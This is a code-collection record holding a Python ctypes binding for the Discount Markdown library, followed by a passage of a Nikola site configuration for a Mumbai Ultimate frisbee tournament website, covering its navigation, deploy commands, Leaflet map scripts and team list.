""" A Python interface for Discount, the C Markdown parser This module contains ``libmarkdown``, a ctypes binding for Discount, as well as ``Markdown``, a helper class built on top of this library. Visit the Discount homepage: http://www.pell.portland.or.us/~orc/Code/discount/ Basic usage examples: >>> md = Markdown('`test`') >>> md.get_html_content() '<p><code>test</code></p>' >>> md = Markdown(sys.stdin, autolink=True) >>> md.write_html_content(sys.stdout) See the ``Markdown`` docstrings for all keyword arguments, or the docstrings for ``libmarkdown`` if you want to use the C functions directly. """ import ctypes import libmarkdown _KWARGS_TO_LIBMARKDOWN_FLAGS = { 'no_links': libmarkdown.MKD_NOLINKS, 'no_image': libmarkdown.MKD_NOIMAGE, 'no_pants': libmarkdown.MKD_NOPANTS, 'no_html': libmarkdown.MKD_NOHTML, 'strict': libmarkdown.MKD_STRICT, 'tag_text': libmarkdown.MKD_TAGTEXT, 'no_ext': libmarkdown.MKD_NO_EXT, 'cdata': libmarkdown.MKD_CDATA, 'no_superscript': libmarkdown.MKD_NOSUPERSCRIPT, 'no_relaxed': libmarkdown.MKD_NORELAXED, 'no_tables': libmarkdown.MKD_NOTABLES, 'no_strike_through': libmarkdown.MKD_NOSTRIKETHROUGH, 'toc': libmarkdown.MKD_TOC, 'autolink': libmarkdown.MKD_AUTOLINK, 'safelink': libmarkdown.MKD_SAFELINK, 'no_header': libmarkdown.MKD_NOHEADER, 'tab_stop': libmarkdown.MKD_TABSTOP, 'no_div_quote': libmarkdown.MKD_NODIVQUOTE, 'no_alpha_list': libmarkdown.MKD_NOALPHALIST, 'no_dlist': libmarkdown.MKD_NODLIST, 'footnote': libmarkdown.MKD_EXTRA_FOOTNOTE, 'no_style': libmarkdown.MKD_NOSTYLE, } def add_html5_tags(): """ Adds (globally, and non-removably) a handful of new tags for html5 support. """ libmarkdown.mkd_with_html5_tags() def define_tag(tag, selfclose=False): if selfclose: _selfclose = 1 else: _selfclose = 0 cp = ctypes.c_char_p(tag) libmarkdown.mkd_define_tag(cp, _selfclose) class MarkdownError(Exception): """ Exception raised when a discount c function returns an error code, ``-1``. """ def __str__(self): return '%s failure' % self.args[0] class Markdown(object): """ Markdown to HTML conversion. A single argument is required, ``input_file_or_string``, the Markdown formatted data. If this argument is a file-like object, the file must be a real OS file descriptor, i.e. ``sys.stdin`` yes, a ``StringIO`` object, no. The argument is otherwise assumed to be a string-like object. The same is true for ``Markdown`` methods that write HTML output to files. Optionally, you can specify two callback functions, ``rewrite_links_func`` and ``link_attrs_func``, which are hooks when links are processed in the markdown document (See the ``rewrite_links()`` and ``link_attrs()`` methods). Additional boolean keyword arguments are also accepted: ``toc`` : bool Generate table-of-contents headers (each generated <h1>, <h2>, etc will include a id="name" argument.) Use ``get_html_toc()`` or ``write_html_toc()`` to generate the table-of-contents itself. ``strict`` Disable relaxed emphasis and superscripts. ``autolink`` Greedily expand links; if a url is encountered, convert it to a hyperlink even if it isn't surrounded with ``<>s``. ``safelink`` Be paranoid about how ``[][]`` is expanded into a link - if the url isn't a local reference, ``http://``, ``https://``, ``ftp://``, or ``news://``, it will not be converted into a hyperlink. ``ignore_header`` Do not process the document header, but treat it like regular text. See http://johnmacfarlane.net/pandoc/README.html#title-blocks ``ignore_links`` Do not allow ``<a`` or expand ``[][]`` into a link. ``ignore_images`` Do not allow ``<img`` or expand ``![][]`` into a image. ``ignore_tables`` Don't process PHP Markdown Extra tables. See http://michelf.com/projects/php-markdown/extra/. ``ignore_smartypants`` Disable SmartyPants processing. See http://daringfireball.net/projects/smartypants/. ``ignore_embedded_html`` Disable all embedded HTML by replacing all ``<``'s with ``&lt;``. ``ignore_pseudo_protocols`` Do not process pseudo-protocols. See http://www.pell.portland.or.us/~orc/Code/discount/#pseudo Pandoc header elements can be retrieved with the methods ``get_pandoc_title()``, ``get_pandoc_author()`` and ``get_pandoc_date()``. The converted HTML document parts can be retrieved as a string with the ``get_html_css()``, ``get_html_toc()`` and ``get_html_content()`` methods, or written to a file with the ``write_html_css(fp)``, ``write_html_toc(fp)`` and ``write_html_content(fp)`` methods, where ``fp`` is the output file descriptor. """ def __init__( self, input_file_or_string, rewrite_links_func=None, link_attrs_func=None, **kwargs): self.input = input_file_or_string # Convert a ``kwargs`` dict to a bitmask of libmarkdown flags. # All but one flag is exposed; MKD_1_COMPAT, which, according # to the original documentation, is not really useful other # than running MarkdownTest_1.0 flags = 0 for key in kwargs: flags |= _KWARGS_TO_LIBMARKDOWN_FLAGS.get(key, 0) self.flags = flags if rewrite_links_func is not None: self.rewrite_links(rewrite_links_func) if link_attrs_func is not None: self.link_attrs(link_attrs_func) self._alloc = [] def __del__(self): try: libmarkdown.mkd_cleanup(self._doc) except AttributeError: pass def _get_compiled_doc(self): if not hasattr(self, '_doc'): if hasattr(self.input, 'read'): # If the input is file-like input_ = ctypes.pythonapi.PyFile_AsFile(self.input) self._doc = libmarkdown.mkd_in(input_, self.flags) else: # Otherwise, treat it as a string input_ = ctypes.c_char_p(self.input) self._doc = libmarkdown.mkd_string( input_, len(self.input), self.flags) ret = libmarkdown.mkd_compile(self._doc, self.flags) if ret == -1: raise MarkdownError('mkd_compile') if hasattr(self, '_rewrite_links_func'): libmarkdown.mkd_e_url(self._doc, self._rewrite_links_func) if hasattr(self, '_link_attrs_func'): libmarkdown.mkd_e_flags(self._doc, self._link_attrs_func) return self._doc def _generate_html_content(self, fp=None): if fp is not None: fp_ = ctypes.pythonapi.PyFile_AsFile(fp) ret = libmarkdown.mkd_generatehtml(self._get_compiled_doc(), fp_) if ret == -1: raise MarkdownError('mkd_generatehtml') else: sb = ctypes.c_char_p('') ln = libmarkdown.mkd_document(self._get_compiled_doc(), ctypes.byref(sb)) if ln == -1: raise MarkdownError('mkd_document') else: return sb.value[:ln] if sb.value else '' self._alloc = [] def _generate_html_toc(self, fp=None): self.flags |= libmarkdown.MKD_TOC if fp is not None: fp_ = ctypes.pythonapi.PyFile_AsFile(fp) ret = libmarkdown.mkd_generatetoc(self._get_compiled_doc(), fp_) if ret == -1: raise MarkdownError('mkd_generatetoc') else: sb = ctypes.c_char_p('') ln = libmarkdown.mkd_toc(self._get_compiled_doc(), ctypes.byref(sb)) if ln == -1: raise MarkdownError('mkd_toc') else: return sb.value[:ln] if sb.value else '' self._alloc = [] def _generate_html_css(self, fp=None): if fp is not None: fp_ = ctypes.pythonapi.PyFile_AsFile(fp) ret = libmarkdown.mkd_generatecss(self._get_compiled_doc(), fp_) # Returns -1 even on success # if ret == -1: # raise MarkdownError('mkd_generatecss') else: sb = ctypes.c_char_p('') ln = libmarkdown.mkd_css(self._get_compiled_doc(), ctypes.byref(sb)) if ln == -1: raise MarkdownError('mkd_css') else: return sb.value[:ln] if sb.value else '' self._alloc = [] def rewrite_links(self, func): """ Add a callback for rewriting links. The callback should take a single argument, the url, and should return a replacement url. The callback function is called everytime a ``[]()`` or ``<link>`` is processed. You can use this method as a decorator on the function you want to set as the callback. """ @libmarkdown.e_url_callback def _rewrite_links_func(string, size, context): ret = func(string[:size]) if ret is not None: buf = ctypes.create_string_buffer(ret) self._alloc.append(buf) return ctypes.addressof(buf) self._rewrite_links_func = _rewrite_links_func return func def link_attrs(self, func): """ Add a callback for adding attributes to links. The callback should take a single argument, the url, and should return additional text to be inserted in the link tag, i.e. ``"target="_blank"``. You can use this method as a decorator on the function you want to set as the callback. """ @libmarkdown.e_flags_callback def _link_attrs_func(string, size, context): ret = func(string[:size]) if ret is not None: buf = ctypes.create_string_buffer(ret) self._alloc.append(buf) return ctypes.addressof(buf) self._link_attrs_func = _link_attrs_func return func def get_pandoc_title(self): """ Get the document title from the pandoc header. """ return libmarkdown.mkd_doc_title(self._get_compiled_doc()) def get_pandoc_author(self): """ Get the document author(s) from the pandoc header. """ return libmarkdown.mkd_doc_author(self._get_compiled_doc()) def get_pandoc_date(self): """ Get the document date from the pandoc header. """ return libmarkdown.mkd_doc_date(self._get_compiled_doc()) def get_html_content(self): """ Get the document content as HTML. """ return self._generate_html_content() def get_html_toc(self): """ Get the document's table of contents as HTML. """ return self._generate_html_toc() def get_html_css(self): """ Get any style blocks in the document as HTML. """ return self._generate_html_css() def write_html_content(self, fp): """ Write the document content to the file, ``fp``. """ self._generate_html_content(fp) def write_html_toc(self, fp): """ Write the document's table of contents to the file, ``fp``. """ self._generate_html_toc(fp) def write_html_css(self, fp): """ Write any style blocks in the document to the file, ``fp``. """ self._generate_html_css(fp)
hepochen/py-discount
discount/__init__.py
Python
bsd-3-clause
11,708
[ "VisIt" ]
439e20b3327bd8982427b39c94f22928812b4f1943de601a84145e980564dc95
# -*- coding: utf-8 -*- from __future__ import unicode_literals import time # Configuration, please edit # Data about this site BLOG_AUTHOR = "Mumbai Ultimate" BLOG_TITLE = "Mumbai Ultimate" # This is the main URL for your site. It will be used # in a prominent link SITE_URL = "http://mumbaiultimate.in/" # This is the URL where nikola's output will be deployed. # If not set, defaults to SITE_URL # BASE_URL = "http://getnikola.com/" BLOG_EMAIL = "stormchasers.mu@gmail.com" BLOG_DESCRIPTION = "News and updates for %s" % BLOG_TITLE DEFAULT_LANG = "en" # What other languages do you have? # The format is {"translationcode" : "path/to/translation" } # the path will be used as a prefix for the generated pages location TRANSLATIONS = { DEFAULT_LANG: '', # Example for another language: # "es": "./es", } # Links for the sidebar / navigation bar. # You should provide a key-value pair for each used language. NAVIGATION_LINKS = { DEFAULT_LANG: ( ( ( ('/2014/', 'Home'), ('/2014/register', 'Register'), ('/2014/#venue', 'Venue'), ('/2014/#teams', 'Teams'), ('/2014/#sponsors', 'Sponsors'), ), 'Ultimate Gheun Tak', ), ), } # Below this point, everything is optional # While nikola can select a sensible locale for each language, # sometimes explicit control can come handy. # In this file we express locales in the string form that # python's locales will accept in your OS, by example # "en_US.utf8" in unix-like OS, "English_United States" in Windows. # LOCALES = dict mapping language --> explicit locale for the languages # in TRANSLATIONS. You can omit one or more keys. # LOCALE_FALLBACK = locale to use when an explicit locale is unavailable # LOCALE_DEFAULT = locale to use for languages not mentioned in LOCALES; if # not set the default Nikola mapping is used. # POSTS and PAGES contains (wildcard, destination, template) tuples. # # The wildcard is used to generate a list of reSt source files # (whatever/thing.txt). # # That fragment could have an associated metadata file (whatever/thing.meta), # and optionally translated files (example for spanish, with code "es"): # whatever/thing.txt.es and whatever/thing.meta.es # # From those files, a set of HTML fragment files will be generated: # cache/whatever/thing.html (and maybe cache/whatever/thing.html.es) # # These files are combinated with the template to produce rendered # pages, which will be placed at # output / TRANSLATIONS[lang] / destination / pagename.html # # where "pagename" is the "slug" specified in the metadata file. # # The difference between POSTS and PAGES is that POSTS are added # to feeds and are considered part of a blog, while PAGES are # just independent HTML pages. # POSTS = ( ("posts/*.rst", "posts", "post.tmpl"), ) PAGES = ( ("pages/*.rst", '', "story.tmpl"), ) # One or more folders containing files to be copied as-is into the output. # The format is a dictionary of "source" "relative destination". # Default is: # FILES_FOLDERS = {'files': '' } # Which means copy 'files' into 'output' # A mapping of languages to file-extensions that represent that language. # Feel free to add or delete extensions to any list, but don't add any new # compilers unless you write the interface for it yourself. # # 'rest' is reStructuredText # 'markdown' is MarkDown # 'html' assumes the file is html and just copies it COMPILERS = { "rest": ('.rst', ), "html": ('.html', '.htm'), } # Create by default posts in one file format? # Set to False for two-file posts, with separate metadata. # ONE_FILE_POSTS = True # If this is set to True, then posts that are not translated to a language # LANG will not be visible at all in the pages in that language. # If set to False, the DEFAULT_LANG version will be displayed for # untranslated posts. # HIDE_UNTRANSLATED_POSTS = False # Paths for different autogenerated bits. These are combined with the # translation paths. # Final locations are: # output / TRANSLATION[lang] / TAG_PATH / index.html (list of tags) # output / TRANSLATION[lang] / TAG_PATH / tag.html (list of posts for a tag) # output / TRANSLATION[lang] / TAG_PATH / tag.xml (RSS feed for a tag) # TAG_PATH = "categories" # If TAG_PAGES_ARE_INDEXES is set to True, each tag's page will contain # the posts themselves. If set to False, it will be just a list of links. # TAG_PAGES_ARE_INDEXES = True # Final location is output / TRANSLATION[lang] / INDEX_PATH / index-*.html INDEX_PATH = "posts" # Create per-month archives instead of per-year # CREATE_MONTHLY_ARCHIVE = False # Create one large archive instead of per-year # CREATE_SINGLE_ARCHIVE = False # Final locations for the archives are: # output / TRANSLATION[lang] / ARCHIVE_PATH / ARCHIVE_FILENAME # output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / index.html # output / TRANSLATION[lang] / ARCHIVE_PATH / YEAR / MONTH / index.html ARCHIVE_PATH = "posts" # ARCHIVE_FILENAME = "archive.html" # URLs to other posts/pages can take 3 forms: # rel_path: a relative URL to the current page/post (default) # full_path: a URL with the full path from the root # absolute: a complete URL (that includes the SITE_URL) # URL_TYPE = 'absolute' # Final locations are: # output / TRANSLATION[lang] / RSS_PATH / rss.xml # RSS_PATH = "" # Number of posts in RSS feeds # FEED_LENGTH = 10 # Slug the Tag URL easier for users to type, special characters are # often removed or replaced as well. # SLUG_TAG_PATH = True # A list of redirection tuples, [("foo/from.html", "/bar/to.html")]. # # A HTML file will be created in output/foo/from.html that redirects # to the "/bar/to.html" URL. notice that the "from" side MUST be a # relative URL. # # If you don't need any of these, just set to [] # REDIRECTIONS = [] # Commands to execute to deploy. Can be anything, for example, # you may use rsync: # "rsync -rav output/* joe@my.site:/srv/www/site" # And then do a backup, or run `nikola ping` from the `ping` # plugin (`nikola install_plugin ping`). # To do manual deployment, set it to [] DEPLOY_COMMANDS = [ 'nikola orphans|xargs rm || true', 'git checkout master', 'nikola build', #'./commit-changes', We assume human commits! 'git checkout --orphan gh-pages', 'git rm -rf .', 'git checkout master -- .gitignore', 'git checkout master -- commit-changes', 'mv output/* .', './commit-changes', 'git push -f origin gh-pages:gh-pages', 'git checkout master', 'git branch -D gh-pages', 'git push origin master', ] # Where the output site should be located # If you don't use an absolute path, it will be considered as relative # to the location of conf.py # OUTPUT_FOLDER = 'output' # where the "cache" of partial generated content should be located # default: 'cache' # CACHE_FOLDER = 'cache' # Filters to apply to the output. # A directory where the keys are either: a file extensions, or # a tuple of file extensions. # # And the value is a list of commands to be applied in order. # # Each command must be either: # # A string containing a '%s' which will # be replaced with a filename. The command *must* produce output # in place. # # Or: # # A python callable, which will be called with the filename as # argument. # # By default, there are no filters. # # Many filters are shipped with Nikola. A list is available in the manual: # <http://getnikola.com/handbook.html#post-processing-filters> # FILTERS = { # ".jpg": ["jpegoptim --strip-all -m75 -v %s"], # } # Expert setting! Create a gzipped copy of each generated file. Cheap server- # side optimization for very high traffic sites or low memory servers. # GZIP_FILES = False # File extensions that will be compressed # GZIP_EXTENSIONS = ('.txt', '.htm', '.html', '.css', '.js', '.json', '.xml') # Use an external gzip command? None means no. # Example: GZIP_COMMAND = "pigz -k {filename}" # GZIP_COMMAND = None # Make sure the server does not return a "Accept-Ranges: bytes" header for # files compressed by this option! OR make sure that a ranged request does not # return partial content of another representation for these resources. Do not # use this feature if you do not understand what this means. # ############################################################################# # Image Gallery Options # ############################################################################# # Galleries are folders in galleries/ # Final location of galleries will be output / GALLERY_PATH / gallery_name # GALLERY_PATH = "galleries" # THUMBNAIL_SIZE = 180 # MAX_IMAGE_SIZE = 1280 # USE_FILENAME_AS_TITLE = True # EXTRA_IMAGE_EXTENSIONS = [] # # If set to False, it will sort by filename instead. Defaults to True # GALLERY_SORT_BY_DATE = True # ############################################################################# # HTML fragments and diverse things that are used by the templates # ############################################################################# # Data about post-per-page indexes # INDEXES_TITLE = "" # If this is empty, the default is BLOG_TITLE # INDEXES_PAGES = "" # If this is empty, the default is 'old posts page %d' # translated # Name of the theme to use. THEME = "custom" # Color scheme to be used for code blocks. If your theme provides # "assets/css/code.css" this is ignored. # Can be any of autumn borland bw colorful default emacs friendly fruity manni # monokai murphy native pastie perldoc rrt tango trac vim vs # CODE_COLOR_SCHEME = 'default' # If you use 'site-reveal' theme you can select several subthemes # THEME_REVEAL_CONFIG_SUBTHEME = 'sky' # You can also use: beige/serif/simple/night/default # Again, if you use 'site-reveal' theme you can select several transitions # between the slides # THEME_REVEAL_CONFIG_TRANSITION = 'cube' # You can also use: page/concave/linear/none/default # date format used to display post dates. # (str used by datetime.datetime.strftime) DATE_FORMAT = '%d %B, %Y' # FAVICONS contains (name, file, size) tuples. # Used for create favicon link like this: # <link rel="name" href="file" sizes="size"/> # For creating favicons, take a look at: # http://www.netmagazine.com/features/create-perfect-favicon FAVICONS = { ("icon", "/favicon.ico", "16x16"), ("icon", "/icon_128x128.png", "128x128"), } # Show only teasers in the index pages? Defaults to False. INDEX_TEASERS = True # A HTML fragment with the Read more... link. # The following tags exist and are replaced for you: # {link} A link to the full post page. # {read_more} The string “Read more” in the current language. # {{ A literal { (U+007B LEFT CURLY BRACKET) # }} A literal } (U+007D RIGHT CURLY BRACKET) READ_MORE_LINK = '' # A HTML fragment describing the license, for the sidebar. LICENSE = """ <a rel="license" href="http://creativecommons.org/licenses/by-sa/4.0/"> CC BY-SA 4.0 International License</a>. """ # A small copyright notice for the page footer (in HTML). # Default is '' CONTENT_FOOTER = """Contents &copy; {date} <a href="mailto:{email}">{author}</a> &mdash; Powered by <a href="http://getnikola.com" rel="nofollow">Nikola</a>, <a href="http://getbootstrap.com/" rel="nofollow">Bootstrap</a> & <a href="http://pages.github.com/" rel="nofollow">GitHub Pages</a> &mdash; {license} """ CONTENT_FOOTER = CONTENT_FOOTER.format(email=BLOG_EMAIL, author=BLOG_AUTHOR, date=time.gmtime().tm_year, license=LICENSE) # To use comments, you can choose between different third party comment # systems, one of "disqus", "livefyre", "intensedebate", "moot", # "googleplus", "facebook" or "isso" COMMENT_SYSTEM = '' # And you also need to add your COMMENT_SYSTEM_ID which # depends on what comment system you use. The default is # "nikolademo" which is a test account for Disqus. More information # is in the manual. COMMENT_SYSTEM_ID = '' # Enable annotations using annotateit.org? # If set to False, you can still enable them for individual posts and pages # setting the "annotations" metadata. # If set to True, you can disable them for individual posts and pages using # the "noannotations" metadata. # ANNOTATIONS = False # Create index.html for story folders? # STORY_INDEX = False # Enable comments on story pages? # COMMENTS_IN_STORIES = False # Enable comments on picture gallery pages? # COMMENTS_IN_GALLERIES = False # What file should be used for directory indexes? # Defaults to index.html # Common other alternatives: default.html for IIS, index.php # INDEX_FILE = "index.html" # If a link ends in /index.html, drop the index.html part. # http://mysite/foo/bar/index.html => http://mysite/foo/bar/ # (Uses the INDEX_FILE setting, so if that is, say, default.html, # it will instead /foo/default.html => /foo) # (Note: This was briefly STRIP_INDEX_HTML in v 5.4.3 and 5.4.4) # Default = False # STRIP_INDEXES = False # Should the sitemap list directories which only include other directories # and no files. # Default to True # If this is False # e.g. /2012 includes only /01, /02, /03, /04, ...: don't add it to the sitemap # if /2012 includes any files (including index.html)... add it to the sitemap # SITEMAP_INCLUDE_FILELESS_DIRS = True # Instead of putting files in <slug>.html, put them in # <slug>/index.html. Also enables STRIP_INDEXES # This can be disabled on a per-page/post basis by adding # .. pretty_url: False # to the metadata # PRETTY_URLS = False # If True, publish future dated posts right away instead of scheduling them. # Defaults to False. FUTURE_IS_NOW = True # If True, future dated posts are allowed in deployed output # Only the individual posts are published/deployed; not in indexes/sitemap # Generally, you want FUTURE_IS_NOW and DEPLOY_FUTURE to be the same value. # DEPLOY_FUTURE = False # If False, draft posts will not be deployed # DEPLOY_DRAFTS = True # Allows scheduling of posts using the rule specified here (new_post -s) # Specify an iCal Recurrence Rule: http://www.kanzaki.com/docs/ical/rrule.html # SCHEDULE_RULE = '' # If True, use the scheduling rule to all posts by default # SCHEDULE_ALL = False # If True, schedules post to today if possible, even if scheduled hour is over # SCHEDULE_FORCE_TODAY = False # Do you want a add a Mathjax config file? # MATHJAX_CONFIG = "" # If you are using the compile-ipynb plugin, just add this one: #MATHJAX_CONFIG = """ #<script type="text/x-mathjax-config"> #MathJax.Hub.Config({ # tex2jax: { # inlineMath: [ ['$','$'], ["\\\(","\\\)"] ], # displayMath: [ ['$$','$$'], ["\\\[","\\\]"] ] # }, # displayAlign: 'left', // Change this to 'center' to center equations. # "HTML-CSS": { # styles: {'.MathJax_Display': {"margin": 0}} # } #}); #</script> #""" # Do you want to customize the nbconversion of your IPython notebook? # IPYNB_CONFIG = {} # With the following example configuracion you can use a custom jinja template # called `toggle.tpl` which has to be located in your site/blog main folder: # IPYNB_CONFIG = {'Exporter':{'template_file': 'toggle'}} # What MarkDown extensions to enable? # You will also get gist, nikola and podcast because those are # done in the code, hope you don't mind ;-) # MARKDOWN_EXTENSIONS = ['fenced_code', 'codehilite'] # Social buttons. This is sample code for AddThis (which was the default for a # long time). Insert anything you want here, or even make it empty. SOCIAL_BUTTONS_CODE = '' # Hide link to source for the posts? SHOW_SOURCELINK = False # Copy the source files for your pages? COPY_SOURCES = False # Modify the number of Post per Index Page # Defaults to 10 # INDEX_DISPLAY_POST_COUNT = 10 # RSS_LINK is a HTML fragment to link the RSS or Atom feeds. If set to None, # the base.tmpl will use the feed Nikola generates. However, you may want to # change it for a feedburner feed or something else. # RSS_LINK = None # Show only teasers in the RSS feed? Default to True # RSS_TEASERS = True # A search form to search this site, for the sidebar. You can use a google # custom search (http://www.google.com/cse/) # Or a duckduckgo search: https://duckduckgo.com/search_box.html # Default is no search form. # SEARCH_FORM = "" # # This search form works for any site and looks good in the "site" theme where # it appears on the navigation bar: # #SEARCH_FORM = """ #<!-- Custom search --> #<form method="get" id="search" action="http://duckduckgo.com/" # class="navbar-form pull-left"> #<input type="hidden" name="sites" value="%s"/> #<input type="hidden" name="k8" value="#444444"/> #<input type="hidden" name="k9" value="#D51920"/> #<input type="hidden" name="kt" value="h"/> #<input type="text" name="q" maxlength="255" # placeholder="Search&hellip;" class="span2" style="margin-top: 4px;"/> #<input type="submit" value="DuckDuckGo Search" style="visibility: hidden;" /> #</form> #<!-- End of custom search --> #""" % SITE_URL # # If you prefer a google search form, here's an example that should just work: #SEARCH_FORM = """ #<!-- Custom search with google--> #<form id="search" action="http://google.com/search" method="get" class="navbar-form pull-left"> #<input type="hidden" name="q" value="site:%s" /> #<input type="text" name="q" maxlength="255" results="0" placeholder="Search"/> #</form> #<!-- End of custom search --> #""" % SITE_URL # Also, there is a local search plugin you can use, based on Tipue, but it requires setting several # options: # SEARCH_FORM = """ # <span class="navbar-form pull-left"> # <input type="text" id="tipue_search_input"> # </span>""" # # EXTRA_HEAD_DATA = """ # <link rel="stylesheet" type="text/css" href="/assets/css/tipuesearch.css"> # <div id="tipue_search_content" style="margin-left: auto; margin-right: auto; padding: 20px;"></div> # """ # ENABLED_EXTRAS = ['local_search'] # # Use content distribution networks for jquery and twitter-bootstrap css and js # If this is True, jquery is served from the Google CDN and twitter-bootstrap # is served from the NetDNA CDN # Set this to False if you want to host your site without requiring access to # external resources. USE_CDN = True # Extra things you want in the pages HEAD tag. This will be added right # before </HEAD> # EXTRA_HEAD_DATA = "" # Google analytics or whatever else you use. Added to the bottom of <body> # in the default template (base.tmpl). # BODY_END = "" # The possibility to extract metadata from the filename by using a # regular expression. # To make it work you need to name parts of your regular expression. # The following names will be used to extract metadata: # - title # - slug # - date # - tags # - link # - description # # An example re is the following: # '(?P<date>\d{4}-\d{2}-\d{2})-(?P<slug>.*)-(?P<title>.*)\.md' # FILE_METADATA_REGEXP = None # Additional metadata that is added to a post when creating a new_post # ADDITIONAL_METADATA = {} # Nikola supports Twitter Card summaries / Open Graph. # Twitter cards make it possible for you to attach media to Tweets # that link to your content. # # IMPORTANT: # Please note, that you need to opt-in for using Twitter Cards! # To do this please visit # https://dev.twitter.com/form/participate-twitter-cards # # Uncomment and modify to following lines to match your accounts. # Specifying the id for either 'site' or 'creator' will be preferred # over the cleartext username. Specifying an ID is not necessary. # Displaying images is currently not supported. # TWITTER_CARD = { # # 'use_twitter_cards': True, # enable Twitter Cards / Open Graph # # 'site': '@website', # twitter nick for the website # # 'site:id': 123456, # Same as site, but the website's Twitter user ID # # instead. # # 'creator': '@username', # Username for the content creator / author. # # 'creator:id': 654321, # Same as creator, but the Twitter user's ID. # } # Post's dates are considered in UTC by default, if you want to use # another time zone, please set TIMEZONE to match. Check the available # list from Wikipedia: # http://en.wikipedia.org/wiki/List_of_tz_database_time_zones # (eg. 'Europe/Zurich') # Also, if you want to use a different time zone in some of your posts, # you can use W3C-DTF Format (ex. 2012-03-30T23:00:00+02:00) # # TIMEZONE = 'UTC' # If webassets is installed, bundle JS and CSS to make site loading faster USE_BUNDLES = True # Plugins you don't want to use. Be careful :-) # DISABLED_PLUGINS = ["render_galleries"] EXTRA_PLUGINS_DIRS = ['/home/punchagan/software/random/Nikola/plugins/plugins'] # Experimental plugins - use at your own risk. # They probably need some manual adjustments - please see their respective # readme. # ENABLED_EXTRAS = [ # 'planetoid', # 'ipynb', # 'local_search', # 'render_mustache', # ] # List of regular expressions, links matching them will always be considered # valid by "nikola check -l" # LINK_CHECK_WHITELIST = [] # If set to True, enable optional hyphenation in your posts (requires pyphen) # HYPHENATE = False # The <hN> tags in HTML generated by certain compilers (reST/Markdown) # will be demoted by that much (1 → h1 will become h2 and so on) # This was a hidden feature of the Markdown and reST compilers in the # past. Useful especially if your post titles are in <h1> tags too, for # example. # (defaults to 1.) # DEMOTE_HEADERS = 1 # You can configure the logging handlers installed as plugins or change the # log level of the default stdout handler. LOGGING_HANDLERS = { 'stderr': {'loglevel': 'WARNING', 'bubble': True}, #'smtp': { # 'from_addr': 'test-errors@example.com', # 'recipients': ('test@example.com'), # 'credentials':('testusername', 'password'), # 'server_addr': ('127.0.0.1', 25), # 'secure': (), # 'level': 'DEBUG', # 'bubble': True #} } BODY_END = """ <script type="text/javascript"> var gsc_coords = [19.18226,72.834506]; var map = L.map('map').setView(gsc_coords, 15); L.tileLayer('http://{s}.tile.cloudmade.com/BC9A493B41014CAABB98F0471D759707/997/256/{z}/{x}/{y}.png', { maxZoom: 18, attribution: 'Map data &copy; <a href="http://openstreetmap.org">OpenStreetMap</a> contributors, <a href="http://creativecommons.org/licenses/by-sa/2.0/">CC-BY-SA</a>, Imagery © <a href="http://cloudmade.com">CloudMade</a>' }).addTo(map); L.marker(gsc_coords).addTo(map) .bindPopup("Goregaon Sports Club <a href='http://goo.gl/maps/0w9zu'>View on Google Maps</a>").openPopup(); map.scrollWheelZoom.disable(); </script> <script type="text/javascript"> var map_div = document.getElementById('juhu'); var juhu_coords = [19.090656,72.826676]; var juhumap = L.map(map_div).setView(juhu_coords, 15); L.tileLayer('http://{s}.tile.cloudmade.com/BC9A493B41014CAABB98F0471D759707/997/256/{z}/{x}/{y}.png', { maxZoom: 18, attribution: 'Map data &copy; <a href="http://openstreetmap.org">OpenStreetMap</a> contributors, <a href="http://creativecommons.org/licenses/by-sa/2.0/">CC-BY-SA</a>, Imagery © <a href="http://cloudmade.com">CloudMade</a>' }).addTo(juhumap); L.marker(juhu_coords).addTo(juhumap) .bindPopup("Juhu Beach <a href='http://goo.gl/maps/Rpwco'>View on Google Maps</a>").openPopup(); juhumap.scrollWheelZoom.disable(); </script> <script type="text/javascript" src="//cdn.jsdelivr.net/countdown/1.6.1/jquery.countdown.min.js"></script> <script type="text/javascript" charset="utf-8"> $('#countdown').countdown( { until: new Date(2014, 2, 7, 9, 0, 0), timezone: +5.5, format: 'WDHMS', layout: '<span class="h1 col-lg-2 col-md-2 col-sm-2 col-xs-2">{wn}</br><span class="date-description">{wl}</span></span>'+ '<span class="h1 col-lg-2 col-md-2 col-sm-2 col-xs-2">{dn}</br><span class="date-description">{dl}</span></span>'+ '<span class="h1 col-lg-2 col-md-2 col-sm-2 col-xs-2">{hn}</br><span class="date-description">{hl}</span></span>'+ '<span class="h1 col-lg-2 col-md-2 col-sm-2 col-xs-2">{mn}</br><span class="date-description">{ml}</span></span>'+ '<span class="h1 col-lg-2 col-md-2 col-sm-2 col-xs-2">{sn}</br><span class="date-description">{sl}</span></span>' } ); </script> """ # List XML-RPC services (preferred) in PING_XMLRPC_SERVICES and HTTP # GET services (web pages) in PING_GET_SERVICES. # Consider adding `nikola ping` as the last entry in DEPLOY_COMMANDS. PING_XMLRPC_SERVICES = [ "http://blogsearch.google.com/ping/RPC2", "http://ping.blogs.yandex.ru/RPC2", "http://ping.baidu.com/ping/RPC2", "http://rpc.pingomatic.com/", ] PING_GET_SERVICES = [ "http://www.bing.com/webmaster/ping.aspx?sitemap={0}".format( SITE_URL+'sitemap.xml' ), ] # Put in global_context things you want available on all your templates. # It can be anything, data, functions, modules, etc. GLOBAL_CONTEXT = { 'TEAMS': [ ( 'Sultans of Spin', 'http://i.imgur.com/1RKoTVo.jpg', '#', ), ( 'Flying Spirits', 'http://ffindr.com/uploads/images/items/1ce10e4f724c20752568ef601892661a44b3f8dd.png', 'https://www.facebook.com/groups/puneultimatefrisbee/', ), ( 'Huck OK Please!', 'http://i.imgur.com/6MdvAf8.jpg', 'http://i.imgur.com/LHN2b9j.jpg', ), ( 'Trailblazers', 'http://placehold.it/200x200&text=Trailblazers', 'http://ffindr.com/en/team/india/surat-trailblazers', ), ( 'Jumbish', 'http://placehold.it/200x200&text=Jumbish', '#', ), ( 'Stray Dogs in Sweaters', 'http://i.imgur.com/76CYXlk.jpg', 'http://www.delhiultimate.in/SDIS', ), ( 'Dream Catchers', 'http://i.imgur.com/T30iDmT.jpg', 'http://ahmedabadultimate.in', ), ( 'Goan Sausage', 'http://i.imgur.com/VtYaDZH.jpg', 'https://www.facebook.com/groups/197174290366853/', ), ( 'Spinergy', 'http://i.imgur.com/1szphZA.jpg', 'http://www.auroville.org/society/ultimate.htm' ), ( 'Hy Flyers', 'http://i.imgur.com/xp1TWaV.jpg', 'https://www.facebook.com/HyFlyersUltimateFrisbeeTeam' ), ( 'Disco-Tech', 'http://i.imgur.com/KMP7TMG.jpg', 'https://www.facebook.com/hyddiscotech' ), ( 'Falcons', 'http://i.imgur.com/lRJCXOl.jpg', 